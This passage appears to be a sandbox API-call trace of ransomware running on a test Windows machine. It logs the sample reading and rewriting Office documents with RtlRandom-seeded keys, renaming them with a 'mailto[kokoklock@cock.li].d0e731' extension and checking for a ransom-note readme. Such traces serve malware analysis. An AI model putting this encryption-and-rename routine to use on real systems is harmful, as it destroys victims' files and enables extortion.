lpNewFilePointer=0x0) returned 1 [0170.522] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1276f770, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1276f770*=0x4096, lpOverlapped=0x0) returned 1 [0170.526] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0170.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0170.526] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0170.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0170.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0170.527] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1276f770, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x1276f770*=0x4096, lpOverlapped=0x0) returned 1 [0170.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.528] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x125de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.528] WriteFile (in: hFile=0x528, lpBuffer=0x3058098*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1276f7a8, lpOverlapped=0x0 | out: lpBuffer=0x3058098*, lpNumberOfBytesWritten=0x1276f7a8*=0x20, lpOverlapped=0x0) returned 1 [0170.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0170.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.528] WriteFile (in: hFile=0x528, lpBuffer=0x3057e18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x3057e18*, lpNumberOfBytesWritten=0x1276f7bc*=0x8, lpOverlapped=0x0) returned 1 [0170.529] WriteFile (in: hFile=0x528, lpBuffer=0x1276f7d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x1276f7d4*, lpNumberOfBytesWritten=0x1276f7bc*=0x4, lpOverlapped=0x0) returned 1 [0170.529] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1276f7bc*=0x4, lpOverlapped=0x0) returned 1 [0170.529] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1276f7bc*=0x6c, lpOverlapped=0x0) returned 1 [0170.529] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x1276f7bc*=0x20, lpOverlapped=0x0) returned 1 [0170.529] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1276f7bc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1276f7bc*=0x4, lpOverlapped=0x0) returned 1 [0170.529] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0170.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058048) returned 1 [0170.530] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e18) returned 1 [0170.530] CloseHandle (hObject=0x528) returned 1 [0170.530] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff2600 [0170.530] wcscpy (in: _Dest=0x2ff2600, _Source="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" [0170.530] wcscat (in: _Dest=0x2ff2600, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.530] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\gngro.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.531] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.531] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff2600) returned 1 [0170.531] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\gnGro.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87dd0 [0170.531] wcscpy (in: _Dest=0x2f87dd0, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.532] wcscat (in: _Dest=0x2f87dd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.532] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.532] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87dd0) returned 1 [0170.532] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4da8) returned 1 [0170.532] RtlExitUserThread (Status=0x1) Thread: id = 1907 os_tid = 0xabc [0170.533] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.534] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.534] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x127efe68 | out: lpFileSize=0x127efe68*=70484) returned 1 [0170.535] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x11350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.535] ReadFile (in: hFile=0x528, lpBuffer=0x127efe3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x127efe3c*, lpNumberOfBytesRead=0x127efe38*=0x4, lpOverlapped=0x0) returned 1 [0170.536] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.536] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe41e0 [0170.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4370 [0170.537] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057df0 [0170.537] NtQuerySystemTime (in: CurrentTime=0x127efe14 | out: CurrentTime=0x127efe14*=132121213278501838) returned 0x0 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x556fc838 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xf0982e49 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x717d37b5 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xe8295efa [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x5996e5d2 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xd70a44cb [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xc6079543 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xd6ac92f [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x80608612 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xf022bbd5 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x83fb9286 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x117d1174 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x8bb1cca5 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xf79a3b6b [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xb1858fd5 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x3de14c2e [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x8f62821c [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xbff24f88 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x93fa3844 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x3b4b2faf [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xe4018eaf [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xdd1d7113 [0170.537] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x7bf21606 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xe580b0de [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x606e9075 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x8ce41337 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x30eaae99 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xf2ac59c6 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0xc373d628 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x92742c0f [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x7c072793 [0170.538] RtlRandom (in: Seed=0x127efe20 | out: Seed=0x127efe20) returned 0x9890b822 [0170.549] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0170.552] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0170.552] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e18 [0170.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0170.552] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe41e0) returned 1 [0170.552] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.552] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.552] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x127efdec, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x127efdec*=0x4096, lpOverlapped=0x0) returned 1 [0170.554] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f874b8 [0170.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96b70 [0170.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.554] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3053bb8 [0170.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058098 [0170.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057cb0 [0170.554] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057cb0) returned 1 [0170.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96b70) returned 1 [0170.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f874b8) returned 1 [0170.555] WriteFile (in: hFile=0x528, lpBuffer=0x3053bb8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x127efdec, lpOverlapped=0x0 | out: lpBuffer=0x3053bb8*, lpNumberOfBytesWritten=0x127efdec*=0x4096, lpOverlapped=0x0) returned 1 [0170.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053bb8) returned 1 [0170.555] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x11354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.555] WriteFile (in: hFile=0x528, lpBuffer=0x3058098*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x127efe24, lpOverlapped=0x0 | out: lpBuffer=0x3058098*, lpNumberOfBytesWritten=0x127efe24*=0x20, lpOverlapped=0x0) returned 1 [0170.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058098) returned 1 [0170.555] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304fb18) returned 1 [0170.555] WriteFile (in: hFile=0x528, lpBuffer=0x3057e18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x3057e18*, lpNumberOfBytesWritten=0x127efe38*=0x8, lpOverlapped=0x0) returned 1 [0170.556] WriteFile (in: hFile=0x528, lpBuffer=0x127efe50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x127efe50*, lpNumberOfBytesWritten=0x127efe38*=0x4, lpOverlapped=0x0) returned 1 [0170.556] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x127efe38*=0x4, lpOverlapped=0x0) returned 1 [0170.556] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x127efe38*=0x6c, lpOverlapped=0x0) returned 1 [0170.556] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4370*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x2fe4370*, lpNumberOfBytesWritten=0x127efe38*=0x20, lpOverlapped=0x0) returned 1 [0170.556] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x127efe38, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x127efe38*=0x4, lpOverlapped=0x0) returned 1 [0170.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4370) returned 1 [0170.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057d00) returned 1 [0170.557] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057e18) returned 1 [0170.557] CloseHandle (hObject=0x528) returned 1 [0170.557] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4850 [0170.558] wcscpy (in: _Dest=0x2fc4850, _Source="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" [0170.558] wcscat (in: _Dest=0x2fc4850, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.558] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\grbzoyaw_ vcsyw9je.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.559] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4850) returned 1 [0170.559] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\GrbZOyAw_ vCsyW9jE.pptx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.559] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87dd0 [0170.559] wcscpy (in: _Dest=0x2f87dd0, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0170.559] wcscat (in: _Dest=0x2f87dd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0170.559] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0170.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87dd0) returned 1 [0170.559] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6efa0) returned 1 [0170.559] RtlExitUserThread (Status=0x1) Thread: id = 1908 os_tid = 0xad4 [0170.561] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.561] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.561] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\jQwbLAg2vznSFTeLLa.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\jqwblag2vznsftella.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.561] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x1286f950 | out: lpFileSize=0x1286f950*=87687) returned 1 [0170.561] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x15683, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.562] ReadFile (in: hFile=0x528, lpBuffer=0x1286f924, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1286f920, lpOverlapped=0x0 | out: lpBuffer=0x1286f924*, lpNumberOfBytesRead=0x1286f920*=0x4, lpOverlapped=0x0) returned 1 [0170.563] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057ee0 [0170.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057e68 [0170.563] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f08 [0170.563] NtQuerySystemTime (in: CurrentTime=0x1286f8fc | out: CurrentTime=0x1286f8fc*=132121213278814428) returned 0x0 [0170.563] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xe2fba3f0 [0170.563] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x4884b27e [0170.563] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x7287aad [0170.563] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xcf9d937c [0170.563] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xf3b567da [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xbb734330 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xa9d16232 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x17463078 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xba973909 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xd942ecc3 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x7d5d2d80 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x4d103831 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x47a85bdb [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x110d65f3 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x429efc59 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x87f97f50 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x5ee6efd7 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xa381aa85 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xf1d642d2 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x44278374 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x739927f [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xe5f4dc79 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x6b296698 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xcba51612 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x3995aa73 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xab8af2de [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xaff47ffc [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x84ebaf24 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0xa9164ffc [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x1d6f2901 [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x301daf3c [0170.564] RtlRandom (in: Seed=0x1286f908 | out: Seed=0x1286f908) returned 0x5697b17 [0170.577] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058070 [0170.579] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.580] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057d00 [0170.580] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96c60) returned 1 [0170.580] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057ee0) returned 1 [0170.580] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304fb18 [0170.580] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.580] ReadFile (in: hFile=0x528, lpBuffer=0x304fb18, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1286f8d4, lpOverlapped=0x0 | out: lpBuffer=0x304fb18*, lpNumberOfBytesRead=0x1286f8d4*=0x4096, lpOverlapped=0x0) returned 1 [0170.581] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87080 [0170.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96c60 [0170.581] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3057f30 